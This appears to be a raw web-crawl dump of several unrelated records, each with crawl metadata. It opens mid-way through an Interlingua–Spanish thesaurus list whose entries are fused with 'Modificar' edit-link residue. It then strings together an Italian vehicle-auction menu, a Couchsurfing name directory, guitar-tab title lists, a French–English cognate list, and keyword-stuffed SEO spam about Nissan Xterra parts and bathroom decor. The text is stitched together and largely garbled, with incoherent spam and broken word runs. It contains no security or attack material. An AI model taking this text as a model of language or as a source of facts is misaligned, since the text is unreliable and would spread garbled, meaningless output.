emotionalModificar explosion emotiveModificar explosion emotiva explosion nuclearModificar explosion supersonicModificar explosion supersonica explosiveModificar explosivo(s) \/ explosiva(s) explosivitateModificar explosivitate de un gasModificar explosivoModificar explosivo conventionalModificar exponenteModificar exponente [le exponente de hydrogenoModificar exponente del burgesiaModificar exponente de la burgesia exponente del classe obrerModificar exponente de la classe obrera exponentialModificar exponential(es) exponerModificar exponer al solModificar exponer se a persecutionesModificar exponer se a un riscoModificar exponer se a un risco inutile per pur bravuraModificar exponer se a un risco inutile per pura bravura exponer se al periculoModificar exponer statuasModificar exponer su intentionesModificar exponer sus intentiones exponer su mercantiasModificar exponer sus mercantias exponer su positionModificar exponer su vistasModificar exponer sus vistas exponer su vitaModificar exponer un filmModificar exponer un pelliculaModificar exponer una pellicula exponer un persona al periculoModificar exponer una persona al periculo exponer un subjectoModificar exponite a reguardos curioseModificar [exponito(s) \/ exponita(s)] a reguardos curiosos exponite a reguardos indiscreteModificar [exponito(s) \/ exponita(s)] a reguardos indiscretos exponite al criticasModificar [exponito(s) \/ exponita(s)] a las criticas exponite al intemperieModificar [exponito(s) \/ exponita(s)] a la intemperie exponite al nordModificar [exponito(s) \/ exponita(s)] al nord exponite al ventoModificar [exponito(s) \/ exponita(s)] al vento exportabileModificar exportabile(s) exportarModificar exportar contrabandoModificar exportar mercantiasModificar exportar mercesModificar exportationModificar exportation de armasModificar exportation de butyroModificar exportation de capitalesModificar exportation de carbonModificar exportation de caseoModificar exportation de frumentoModificar exportation de stannoModificar exportation de tabacoModificar exportation de theModificar exportation de triticoModificar exportatorModificar exportator de carbonModificar exportator de caseoModificar exportator de cerealesModificar exportator de frumentoModificar exportator de tabacoModificar exportator de theModificar exportator de triticoModificar exposimetroModificar expositionModificar exposition agricoleModificar exposition agricola exposition agriculturalModificar exposition al solModificar exposition ambulanteModificar exposition autumnalModificar exposition avicoleModificar exposition avicola exposition biennalModificar exposition caninModificar exposition canina exposition de affichesModificar exposition de arteModificar exposition de automobiles \/ autosModificar exposition de bestialModificar exposition de canesModificar exposition de caprasModificar exposition de cattosModificar exposition de chrysanthemosModificar exposition de dahliasModificar exposition de horticulturaModificar exposition de picturasModificar exposition de sculpturasModificar exposition de un corpore al luceModificar exposition de un corpore a la luce exposition de un corpore al lumineModificar exposition de un corpore a la lumine exposition decennalModificar exposition dupleModificar exposition dupla exposition farraginoseModificar exposition farraginosa exposition felinModificar exposition felina exposition floralModificar exposition flottanteModificar exposition horticoleModificar exposition horticola exposition industrialModificar exposition itineranteModificar exposition mundialModificar exposition permanenteModificar exposition philatelicModificar exposition philatelica exposition retrospectiveModificar exposition retrospectiva exposition triennal de picturasModificar exposition universalModificar exposition universeModificar exposition universa expositiveModificar expositivo(s) \/ expositiva(s) expositorModificar expositoriModificar expositorio(s) \/ expositoria(s) ex-presidenteModificar expresseModificar expresso(s) \/ expressa(s) expressementeModificar expressamente expressionModificar expression adequateModificar expression adequata expression argoticModificar expression argotica expression artisticModificar expression artistica expression brachylogicModificar expression brachylogica expression colloquialModificar expression conciseModificar expression concisa expression consecrateModificar expression consecrata expression currenteModificar expression deModificar expression de politessaModificar expression del pulpitoModificar expression del visageModificar expression desueteModificar expression desueta expression dialectalModificar expression dialectal intraducibileModificar expression emotiveModificar expression emotiva expression euphemicModificar expression euphemica expression euphemisticModificar expression euphemistica expression facialModificar expression familiarModificar expression figurateModificar expression figurata expression fixeModificar expression fixa expression hyperbolicModificar expression hyperbolica expression idiomaticModificar expression idiomatica expression improprieModificar expression impropria expression indelicateModificar expression indelicata expression metonymicModificar expression metonymica expression neologicModificar expression neologica expression periphrasticModificar expression periphrastica expression pleonasticModificar expression pleonastica expression popularModificar expression proverbialModificar expression sarcasticModificar expression sarcastica expression sonorModificar expression sonora expression stereotypicModificar expression stereotypica expression tautologicModificar expression tautologica expression usualModificar expression vulgarModificar expressionismoModificar expressionistaModificar expressionisticModificar expressionistico(s) \/ expressionistica(s) expressiveModificar expressivo(s) \/ expressiva(s) expressivitateModificar expressoModificar exprimerModificar exprimer clarmente su pensamentoModificar exprimer claramente su pensamento exprimer clarmente su pensataModificar exprimer claramente su pensata exprimer le succo de un citroModificar exprimer se con concisionModificar exprimer se con grande correctessaModificar exprimer se con nettitateModificar exprimer se correctementeModificar exprimer se correctamente exprimer se figuratementeModificar exprimer se figuratamente exprimer se in imaginesModificar exprimer se in modo abstruseModificar exprimer se in modo abstruso exprimer se in terminos approximativeModificar exprimer se in terminos approximativos exprimer se in terminos eloquenteModificar exprimer se in terminos eloquentes exprimer se in terminos expliciteModificar exprimer se in terminos explicitos exprimer se in terminos moderateModificar exprimer se in terminos moderatos exprimer se in un Interlingua impeccabileModificar exprimer se in un linguage crypticModificar exprimer se in un linguage cryptico exprimer se in un linguage de maniera crypticaModificar exprimer se in un linguage de maniera cryptic exprimer se in un linguage parlamentariModificar exprimer se in un linguage parlamentario exprimer se intelligibilementeModificar exprimer se mediante gestosModificar exprimer se multo convenibilemente in InterlinguaModificar exprimer se per enigmasModificar exprimer se per gestosModificar exprimer se sin claritateModificar exprimer se troppo abstractementeModificar exprimer se troppo abstractamente exprimer se verbosementeModificar exprimer se verbosamente exprimer suModificar exprimer su condolentiasModificar exprimer sus condolentias exprimer su gaudio con exuberantiaModificar exprimer su gratitude a un personaModificar exprimer su gratitude a una persona exprimer su indignationModificar exprimer su irritationModificar exprimer su joia con exuberantiaModificar exprimer su recognoscentiaModificar exprimer su regretes a un personaModificar exprimer sus regretes a una persona exprimer su sentimentosModificar exprimer sus sentimentos exprimer su surprisaModificar exprimer su sympathiaModificar exprimer un citroModificar exprimer un desiderioModificar exprimer un desiroModificar exprimer un judicamentoModificar exprimer un judicioModificar exprimer un opinion","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/interlingua.wikia.com\/wiki\/Thesauro_es","date":"2017-04-23T23:33:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118851.8\/warc\/CC-MAIN-20170423031158-00416-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.8069143891,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.8069143891334534, \"ile_Latn_score\": 0.05538430064916611, \"por_Latn_score\": 0.019522540271282196, \"cat_Latn_score\": 0.013056663796305656, \"spa_Latn_score\": 0.012792023830115795, \"vec_Latn_score\": 0.012026486918330193, \"lat_Latn_score\": 0.01092388853430748}","num_words":25123,"character_repetition_ratio":0.223,"word_repetition_ratio":0.018,"special_characters_ratio":0.128,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.851,"perplexity_score":3712.1,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite furgoni » Aste per le vendite pulminiAste per le vendite furgoni per le consegne » Aste per le vendite pulmini HYUNDAIAste per le vendite FORDAste per le vendite KIAAste per le vendite MERCEDES-BENZAste per le vendite NISSANAste per le vendite PEUGEOTAste per le vendite RENAULTAste per le vendite TOYOTAAste per le vendite VOLKSWAGEN","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/autoline-eu.it\/-\/Aste\/pulmini\/HYUNDAI--a5c79tm2611","date":"2017-07-28T19:13:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500550977093.96\/warc\/CC-MAIN-20170728183650-20170728203650-00120.warc.gz","language":"ina","language_score":0.7109913826,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"ina_Latn_score\": 0.710991382598877, \"lmo_Latn_score\": 0.09229863435029984, \"frp_Latn_score\": 0.0861564427614212, \"nap_Latn_score\": 0.04336690530180931, \"ita_Latn_score\": 0.03863809257745743, \"bew_Latn_score\": 0.014877649024128914}","num_words":119,"character_repetition_ratio":0.406,"word_repetition_ratio":0.018,"special_characters_ratio":0.176,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.945,"perplexity_score":2688.2,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Thomas Le Goff||thomas le poetvin|\n|Thomas Le Gougaud||Thomas Le Quellec|\n|Thomas le Gourierec||Thomas Le Quérec|\n|Thomas Le Govic||Thomas Le Quinquis|\n|THOMAS LE GUEN||Thomas Le Roi|\n|Thomas Le Guern||Thomas Le Roi|\n|Thomas Le Guével||Thomas Le Roi|\n|Thomas Le Guillou||Thomas LE ROUX|\n|Thomas Le Guillou||Thomas Le Roux|\n|Thomas Le Helloco||Thomas LE ROUX|\n|Thomas Le Hen||Thomas Le Rouzic|\n|Thomas Le hir||Thomas Le Saint|\n|Thomas Le Hir||Thomas Le Saux|\n|Thomas LE JEUNE||Thomas Le Scouarnec|\n|Thomas Le Jeune||Thomas Le Strat|\n|Thomas Le Jeune||Thomas LE TELLIER|\n|Thomas le Juge||Thomas LE TENO|\n|Thomas Le Labourier||Thomas LE THIEC|\n|Thomas Le Lann||Thomas Le Vaou|\n|Thomas Le Lay||Thomas Le Vaou|\n|Thomas Le Lay||Thomas Le Varlet|\n|Thomas le Lay||Thomas Lea|\n|Thomas Le Lay||Thomas Lea-Humphreys|\n|Thomas Le Levier||thomas leach|\n|Thomas Le Lirzin||thomas leach|\n|Thomas le Loire||Thomas Leach|\n|Thomas Le loire||Thomas Leach|\n|Thomas Le Marrec||Thomas Leach|\n|Thomas Le Masson||Thomas Leach|\n|Thomas Le Mauff||Thomas Leach|\n|Thomas Le Mens||Thomas Leach|\n|Thomas Le Mer||thomas Leacy|\n|thomas Le Merrer||Thomas Leadbeater|\n|Thomas Le Mest||Thomas Leaf|\n|Thomas Le Mestre||Thomas Leask|\n|Thomas Le Meur||Thomas Leathers|\n|Thomas Le Mignan||Thomas Léau|\n|Thomas LE MIGNAN||Thomas Léauté|\n|Thomas Le Molaire||Thomas Léauté|\n|Thomas Le Monier||Thomas Leaver|\n|Thomas Le Montagner||Thomas Leavitt|\n|Thomas LE MOULLEC||Thomas Lebarbé|\n|THOMAS LE NAGARD||Thomas Lebarre|\n|Thomas Le Naour||Thomas Lebbe|\n|Thomas LE NECHET||Thomas LEBE|\n|Thomas Le Page||Thomas Lebeau|\n|Thomas Le Paige||Thomas Lebeau|\n|Thomas Le Palaire||Thomas Lebel|\n|Thomas Le Panda||Thomas Leber|\n|Thomas LE PIMPEC||Thomas Leber|","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.couchsurfing.com\/directory\/T-26-90","date":"2017-11-19T10:54:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934805541.30\/warc\/CC-MAIN-20171119095916-20171119115916-00270.warc.gz","language":"ina","language_score":0.4098299146,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.40982991456985474, \"fra_Latn_score\": 0.14725953340530396, \"hat_Latn_score\": 0.058825984597206116, \"frp_Latn_score\": 0.04529851675033569, \"sme_Latn_score\": 0.043279655277729034, \"smo_Latn_score\": 0.01994178630411625, \"tso_Latn_score\": 0.01598321460187435, \"vec_Latn_score\": 0.014099367894232273, \"nso_Latn_score\": 0.013667250983417034, \"nap_Latn_score\": 0.013578866608440876, \"nrm_Latn_score\": 0.012890231795608997, \"kiu_Latn_score\": 0.012043037451803684}","num_words":544,"character_repetition_ratio":0.264,"word_repetition_ratio":0.067,"special_characters_ratio":0.254,"stopwords_ratio":0.015,"flagged_words_ratio":0.0,"lang_id_score":0.381,"perplexity_score":35624.3,"cluster_detection":-1} +{"text":"Matched Tabs\nCet artiste n'a aucune biographie pour le moment.\nTabs\n|Tracks||Versions|\n|Nostalgic Du Cool||3 guitar pro tabs|\n|Qui De Nous Deux||3 guitar pro tabs|\n|Je dis aime||3 guitar pro tabs|\n|Le Mec Hamac||2 guitar pro tabs|\n|Onde sensuelle live||2 guitar pro tabs|\n|La Fleur||2 guitar pro tabs|\n|La Bonne Etoile||2 guitar pro tabs|\n|Le mec hamac live||2 guitar pro tabs|\n|Mon Ego||2 guitar pro tabs|\n|Souvenir du futur Live||2 guitar pro tabs|\n|Machistador||2 guitar pro tabs|\n|Monde Virtuel live||1 guitar pro tabs|\n|Mama sam live||1 guitar pro tabs|\n|Monde Virtuel||1 guitar pro tabs|\n|Nostalgic Du Ccol||1 guitar pro tabs|\n|Nostalgic du cool live||1 guitar pro tabs|\n|Nostalgique du cool||1 guitar pro tabs|\n|Onde Sensuelle||1 guitar pro tabs|\n|Pick Pocket||1 guitar pro tabs|\n|Qui Est Le Plus Fragile_||1 guitar pro tabs|\n|Slide Melody||1 guitar pro tabs|\n|A celle qui dure live||1 guitar pro tabs|\n|Jamman live||1 guitar pro tabs|\n|Au suivant||1 guitar pro tabs|\n|Aux suivants live||1 guitar pro tabs|\n|Coup De Vent||1 guitar pro tabs|\n|Faut Oublier||1 guitar pro tabs|\n|Jamman version DVD||1 guitar pro tabs|\n|Je Suis Une Cigarette||1 guitar pro tabs|\n|La fleur live||1 guitar pro tabs|\n|Le Baptme||1 guitar pro tabs|\n|Le blues de souston live||1 guitar pro tabs|\n|Le Commun Des Mortels||1 guitar pro tabs|\n|Le complexe du corn flaxes live||1 guitar pro tabs|\n|Le festival de connes live||1 guitar pro tabs|\n|Le Radeau||1 guitar pro tabs|\n|Le Rose Pourpre Du Coeur||1 guitar pro tabs|\n|Faut oublier live||1 guitar pro tabs|\n|Ton Echo||1 guitar pro tabs|","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.tabondant.com\/fre\/tabs\/matched","date":"2017-12-14T08:16:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948542031.37\/warc\/CC-MAIN-20171214074533-20171214094533-00149.warc.gz","language":"ina","language_score":0.3160876036,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31608760356903076, \"sco_Latn_score\": 0.25376346707344055, \"oci_Latn_score\": 0.11213728040456772, \"wol_Latn_score\": 0.05703098699450493, \"glg_Latn_score\": 0.037873439490795135, \"eng_Latn_score\": 0.02264241687953472, \"knc_Latn_score\": 0.021194057539105415, \"srd_Latn_score\": 0.019142689183354378, \"fra_Latn_score\": 0.0169063787907362}","num_words":396,"character_repetition_ratio":0.389,"word_repetition_ratio":0.0,"special_characters_ratio":0.289,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":0.253,"perplexity_score":16590.5,"cluster_detection":-1} +{"text":"134 dérivés du suffixe féminin -ion orthographiés de la même façon en anglais et en français.\nLa distance de Levenshtein entre les mots anglais et français est donc nulle. DL (F, A) = 0\nadmiration ambition animation certification clarification\ncoalition collection communication compassion\ncompensation complication composition concentration\nconception conclusion condition confirmation confusion\nconservation constitution construction contamination\ncontinuation contraception contradiction contribution\nconversation conviction convocation coordination\ncorrection corruption description destination destruction\ndigestion dimension direction discussion distribution\ndivision donation exception exclamation expansion\nexplosion exportation exposition expression fiction\nhibernation illusion imagination imitation immigration\nimportation impression impulsion indication infection\ninflation information initiation inscription inspection\ninspiration institution interdiction interrogation interruption\nintersection intervention intoxication introduction intuition\ninvasion invention invitation irrigation mission\nmodification motivation nation navigation nomination\nnotion observation obsession occasion occupation\nopinion opposition option orientation participation passion\nperfection plantation pollution population position potion\nproduction profession progression projection promotion\nproportion proposition prostitution protection publication\nqualification question religion respiration salutation\nsanction satisfaction sensation session simplification\nsituation solution suggestion superstition suspicion\ntradition transfusion transition vaccination variation\nvibration violation vision vocation","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/intercomprehensions.blogspot.com\/2015\/09\/parfaits-cognats-franglais-1.html","date":"2018-02-23T16:44:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814801.45\/warc\/CC-MAIN-20180223154626-20180223174626-00268.warc.gz","language":"ina","language_score":0.3891407251,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.3891407251358032, \"eng_Latn_score\": 0.2236156463623047, \"fra_Latn_score\": 0.19482795894145966, \"ile_Latn_score\": 0.06344133615493774, \"mfe_Latn_score\": 0.03754522278904915, \"swe_Latn_score\": 0.013259917497634888}","num_words":247,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.106,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":0.395,"perplexity_score":18646.0,"cluster_detection":-1} +{"text":"Bach Johann Sebastian Tabs\nBiografie verfügbar.\nTabs\n|Spuren||Versions|\n|Boure||3 guitar pro tabs|\n|ANDANTE||3 guitar pro tabs|\n|Allegro||3 guitar pro tabs|\n|Minuet in G||3 guitar pro tabs|\n|Prelude||3 guitar pro tabs|\n|Invention 13||3 guitar pro tabs|\n|Invention 08||2 guitar pro tabs|\n|Violin Concerto||2 guitar pro tabs|\n|Prelude en Re Mineur||2 guitar pro tabs|\n|Invention 04||2 guitar pro tabs|\n|Badinerie||2 guitar pro tabs|\n|Toccata And Fugue||2 guitar pro tabs|\n|Bwv 515||2 guitar pro tabs|\n|Musette in D Major||2 guitar pro tabs|\n|Toccata Fugue In Dm metal version||2 guitar pro tabs|\n|Minuetto part||2 guitar pro tabs|\n|Sinfonia 12||2 guitar pro tabs|\n|Gavotte in A minor||2 guitar pro tabs|\n|Jesu Joy Of Man_s Desiring||2 guitar pro tabs|\n|Menuet In G Major||2 guitar pro tabs|\n|Jesu Joy Of Mans Desiring||2 guitar pro tabs|\n|Ave Maria||2 guitar pro tabs|\n|Air On a G String||2 guitar pro tabs|\n|Minueto em sol maior||1 guitar pro tabs|\n|Minueto En G Anna Magdelene Bach Notebook||1 guitar pro tabs|\n|Joke||1 guitar pro tabs|\n|Orchestral Suite No 3 In D Maj||1 guitar pro tabs|\n|Partita Number One||1 guitar pro tabs|\n|Polonaise||1 guitar pro tabs|\n|Praludium||1 guitar pro tabs|\n|Prelude Electric Guitar Version||1 guitar pro tabs|\n|Prelude Excerpt||1 guitar pro tabs|\n|Bwv 999||1 guitar pro tabs|\n|Prelude C mineur||1 guitar pro tabs|\n|Joke B-moll||1 guitar pro tabs|\n|Menuet In G Minor||1 guitar pro tabs|\n|Minueto Em La Menor||1 guitar pro tabs|\n|Menuet In D Major||1 guitar pro tabs|\n|Largo e Dolce||1 guitar pro tabs|\n|Menuet||1 guitar pro tabs|\n|Menuet In A Min||1 guitar pro tabs|\n|Menuett||1 guitar pro tabs|\n|March||1 guitar pro tabs|\n|Mache dich mein Geist Bereit||1 guitar pro tabs|\n|Minuet 2 Cellosuite||1 guitar pro tabs|\n|Largo Trio Es-dur||1 guitar pro tabs|\n|Minuet In G Duet||1 guitar pro tabs|\n|Minuet in Mi menor||1 guitar pro tabs|\n|Menuetti||1 guitar pro tabs|\n|Prelude from Suite 1 in D Major||1 guitar pro tabs|\n|Prelude In C Minor||1 guitar pro tabs|\n|Toccata Fugue In Dm Bwv 565 Metal Version||1 guitar pro tabs|\n|Toccata Fugue In Dm||1 guitar pro tabs|\n|Toccata And Fugue Bwv 565||1 guitar pro tabs|\n|Toccata e Fugue In Dm metal version||1 guitar pro tabs|\n|Violin Sonata No 1 In Gm Fugue Bwv 1001||1 guitar pro tabs|\n|Vivace||1 guitar pro tabs|\n|Ach wie fluchtig||1 guitar pro tabs|\n|Air On G||1 guitar pro tabs|\n|All solch dein Gut wir preisen||1 guitar pro tabs|\n|Fuga In Dm||1 guitar pro tabs|\n|Gavootte||1 guitar pro tabs|\n|Menuet 1re suite violoncelle r mineur||1 guitar pro tabs|\n|Wie schon leuchtet der Morgenstern||1 guitar pro tabs|\n|Gieb dass ich thu mit Fleiss||1 guitar pro tabs|\n|Jesu nimm dich deiner Glieder||1 guitar pro tabs|\n|Prelude N1 En Do Majeur Du Clavier Bien Tempere||1 guitar pro tabs|\n|Suiten Fur Violoncello N1||1 guitar pro tabs|\n|Suite No 1 BWV 1007||1 guitar pro tabs|\n|Suite De Bach||1 guitar pro tabs|\n|Prelude in Cm||1 guitar pro tabs|\n|prelude in D minor||1 guitar pro tabs|\n|Prelude In D||1 guitar pro tabs|\n|Prelude In E From 4th Lute Suite||1 guitar pro tabs|\n|Prelude N||1 guitar pro tabs|\n|Prelude No1 In C Major||1 guitar pro tabs|\n|Preludio in fa maggiore||1 guitar pro tabs|\n|Preludio in mi minore||1 guitar pro tabs|\n|Preludium no1||1 guitar pro tabs|\n|Prlude no1||1 guitar pro tabs|\n|Sarabande From Cello Suite I BWV 1007||1 guitar pro tabs|\n|Bwv 1002||1 guitar pro tabs|\n|Bwv 997||1 guitar pro tabs|\n|Sarabande from Partita in Bm for Violin||1 guitar pro tabs|\n|Sarabande||1 guitar pro tabs|\n|Suite 1 in G Major Bass Solo||1 guitar pro tabs|\n|Suite De Bach Metal Version||1 guitar pro tabs|\n|Toccata Et Fugue En R Mineur||1 guitar pro tabs|\n|Jesus Alegria Del Hombre||1 guitar pro tabs|\n|Bouree Cello Suite III||1 guitar pro tabs|\n|Bouree||1 guitar pro tabs|\n|Bourre Toms version||1 guitar pro tabs|\n|Bourre||1 guitar pro tabs|\n|Bourree en mi mineur||1 guitar pro tabs|\n|Bourree||1 guitar pro tabs|\n|BWV 625||1 guitar pro tabs|\n|Bwv 996 N1 Suite Prdule Presto||1 guitar pro tabs|\n|BWV1006||1 guitar pro tabs|\n|C Minor Prelude||1 guitar pro tabs|\n|C Prelude From The Well-Tempered Clavier||1 guitar pro tabs|\n|Cantata BWV 147||1 guitar pro tabs|\n|Cantate Ich Ruf||1 guitar pro tabs|\n|Cello Suite 1||1 guitar pro tabs|\n|Cello Suite||1 guitar pro tabs|\n|Chaccone From Violin Partita No2||1 guitar pro tabs|\n|Bouree From Lute suite no 1 in E minor||1 guitar pro tabs|\n|Badinerie Joke in H-moll||1 guitar pro tabs|\n|Rearranged For Art Rock Band||1 guitar pro tabs|\n|Air From Suite||1 guitar pro tabs|\n|Air on a G string metal arrangement||1 guitar pro tabs|\n|Air On G Electric Guitar Version||1 guitar pro tabs|\n|Air on the G string||1 guitar pro tabs|\n|Air||1 guitar pro tabs|\n|Alegretto||1 guitar pro tabs|\n|Allegro Acoustic Guitar Version||1 guitar pro tabs|\n|Allegro Third Movement||1 guitar pro tabs|\n|Allemande From Partita No 2 In D Minor||1 guitar pro tabs|\n|Allemande In A Minor||1 guitar pro tabs|\n|Aria Goldberg Variations||1 guitar pro tabs|\n|Aria From Cantata 41||1 guitar pro tabs|\n|Auf meinen lieben Gott||1 guitar pro tabs|\n|Ave Maria Acoustic||1 guitar pro tabs|\n|Ayre suite no||1 guitar pro tabs|\n|Bach Suite N0 1 BWV 1007Doig||1 guitar pro tabs|\n|Chello||1 guitar pro tabs|\n|Chromatic Fugue||1 guitar pro tabs|\n|Concerto In A Minor||1 guitar pro tabs|\n|Gigue||1 guitar pro tabs|\n|Gigue Acoustic Guitar Version||1 guitar pro tabs|\n|Gigue From Lute Suite No||1 guitar pro tabs|\n|Golberg Variation 29||1 guitar pro tabs|\n|Goldberg Variations||1 guitar pro tabs|\n|Inventio||1 guitar pro tabs|\n|Invention 01||1 guitar pro tabs|\n|Invention En D mineur||1 guitar pro tabs|\n|Invention in Am||1 guitar pro tabs|\n|Invention No||1 guitar pro tabs|\n|Invention No13||1 guitar pro tabs|\n|For 1st through 7th position||1 guitar pro tabs|\n|Italian Concerto||1 guitar pro tabs|\n|Jesu meine Zuversicht||1 guitar pro tabs|\n|Jesu Joy Of Mans Desiring BWV 147||1 guitar pro tabs|\n|Jesu Joy Of Man_s Desiring BWV 147||1 guitar pro tabs|\n|Gavotte en Rondeau from lute suite 4 BWV 1006a||1 guitar pro tabs|\n|Gavotte En Rondeau From BWV 995||1 guitar pro tabs|\n|Gavotte 1||1 guitar pro tabs|\n|Courante||1 guitar pro tabs|\n|D minor fugue||1 guitar pro tabs|\n|Double||1 guitar pro tabs|\n|Es ist das Heil uns kommen her||1 guitar pro tabs|\n|Es ist genug so nimm Herr meinen Geist||1 guitar pro tabs|\n|Fuga 1 Para 4 Voces||1 guitar pro tabs|\n|Fuga A||1 guitar pro tabs|\n|Fuga in do minore||1 guitar pro tabs|\n|Fughetta||1 guitar pro tabs|\n|Fugue G-Moll BWV 1000||1 guitar pro tabs|\n|Fugue from Toccata||1 guitar pro tabs|\n|Fugue In D Minor||1 guitar pro tabs|\n|Fugue In D-||1 guitar pro tabs|\n|Fugue in Dm||1 guitar pro tabs|\n|Fugue In Gm Little Fugue||1 guitar pro tabs|\n|Gavote||1 guitar pro tabs|\n|Jesus que ma joie demeure||1 guitar pro tabs|","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.tabondant.com\/deu\/tabs\/bach-johann-sebastian","date":"2018-02-25T09:51:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891816351.97\/warc\/CC-MAIN-20180225090753-20180225110753-00532.warc.gz","language":"ina","language_score":0.4080280364,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4080280363559723, \"sco_Latn_score\": 0.2877309024333954, \"eng_Latn_score\": 0.04742107912898064, \"glg_Latn_score\": 0.03286854550242424, \"wol_Latn_score\": 0.02570233680307865, \"oci_Latn_score\": 0.017470739781856537, \"srd_Latn_score\": 0.014901554211974144, \"arg_Latn_score\": 0.01262463629245758, \"nsn_Latn_score\": 0.010719086043536663}","num_words":1746,"character_repetition_ratio":0.388,"word_repetition_ratio":0.068,"special_characters_ratio":0.301,"stopwords_ratio":0.033,"flagged_words_ratio":0.0,"lang_id_score":0.503,"perplexity_score":17621.9,"cluster_detection":-1} +{"text":"Sitemap Gallery X xterra pro 4x used pro pa nissan xterra pro 4x review 2012xterra car off road xterra cargo spacexterra pro 4x pro 2012 xterra pro 4x tire sizexterra pro 4x pro area dealer serving new and used dealership serving beach xterra pro 4x off road reviewxterra car image 1 of pro 4 xterra roof rack capacityxterra car vehicle photo in 2011 xterra cargo spacexterra car x 2010 xterra cargo spacexterra car vehicle photo in co 2013 xterra cargo coverxterra car car images 2007 xterra cargo spacexterra car x 2004 xterra cargo dimensionsxterra pro 4x suspension lift 3 pro black aggressive 1 outside fender xterra pro 4x leveling kitxterra pro 4x pro in new xterra pro 4x tire pressurexterra car automatic s 1 2013 xterra cargo coverxterra pro 4x pro photo 1 anchorage 2012 nissan xterra pro 4x wheel sizexterra car nissan xterra used car pricesxterra pro 4x certified owned auto pro for sale xterra pro 4x lockerxterra pro 4x pro 2013 nissan xterra pro 4x tire sizexterra pro 4x pro 4 6 speed mt lifted us 2012 nissan xterra pro 4x tire sizexterra car pro 1 2007 xterra cargo spacexterra car 2008 nissan xterra carmaxxterra pro 4x pro manual nissan xterra pro 4x review 2012xterra car used xterra cargo spacexterra pro 4x used pro auto pro co nissan xterra pro 4x review 2013xterra car off road 2003 xterra cargo coverxterra pro 4x pro 2011 xterra pro 4x lift kitxterra pro 4x pro nissan xterra pro 4x lockerxterra car automatic s 0 2004 xterra cargo dimensionsxterra pro 4x the pro is a rugged and off road capable 2011 xterra pro 4x lift kitxterra pro 4x pro nissan xterra pro 4x wheels for salexterra car off road 1 2008 xterra cargo coverxterra pro 4x pro 4 xterra pro 4x wheels for salexterra car off road used cars in xterra cargo rackxterra car xterra car pricexterra car side rear 2002 xterra cargo spacexterra pro 4x pro xterra pro 4x off roadxterra car xterra cargo mat canadaxterra car for sale at drive automotive in nissan xterra cargo net installxterra car for sale at h town car sales in xterra roof rack diameterxterra car used cars in cars xterra cargo spacexterra pro 4x pro for sale in 2014 xterra pro 4x tire sizexterra pro 4x pro anchorage 2011 nissan xterra pro 4x off road lightsxterra pro 4x used pro nissan xterra pro 4x wheel sizexterra pro 4x used pro in ca 2015 nissan xterra pro 4x wheelsxterra pro 4x pro nissan xterra pro 4x off road lightsxterra car used cars in post falls id xterra roof cargo netxterra car in red brawn from 1 xterra cargo matxterra car auto car led light bulbs interior kit for white xterra rubber cargo matxterra car xterra roof rack stickerxterra pro 4x bid nissan xterra pro 4x review 2012xterra car 2007 xterra cargo matxterra car the may be gone but its not forgotten by car buyers and 2015 nissan xterra cargo matxterra car this guy gets it image credit 2015 xterra cargo matxterra pro 4x pro leather one owner 2012 xterra pro 4x reviewxterra pro 4x used pro in ca 2013 nissan xterra pro 4x tire sizexterra car used xterra cargo mat canada","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/veronaopen.net\/ns\/x\/","date":"2018-05-27T05:12:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794868003.97\/warc\/CC-MAIN-20180527044401-20180527064401-00059.warc.gz","language":"ina","language_score":0.4466648698,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.44666486978530884, \"lat_Latn_score\": 0.11131288856267929, \"goh_Latn_score\": 0.10174838453531265, \"frp_Latn_score\": 0.05670861154794693, \"eus_Latn_score\": 0.032595645636320114, \"sco_Latn_score\": 0.031193597242236137, \"srd_Latn_score\": 0.026668483391404152, \"eng_Latn_score\": 0.025394944474101067, \"knc_Latn_score\": 0.02477128803730011, \"tzj_Latn_score\": 0.010978844948112965, \"dag_Latn_score\": 0.0103317154571414}","num_words":956,"character_repetition_ratio":0.256,"word_repetition_ratio":0.231,"special_characters_ratio":0.239,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.445,"perplexity_score":9999.5,"cluster_detection":-1} +{"text":"deco salle de bain moderne douche awesome morne images sign trends mornes bis.\npour morne ign deco salle de bain moderne douche idee 2017,morne decoration salle de bain moderne 2017 marron deco douche,photos decoration salle de bain moderne idee deco noir et blanc,deco salle de bain moderne chic idee decoration the shopping online morne 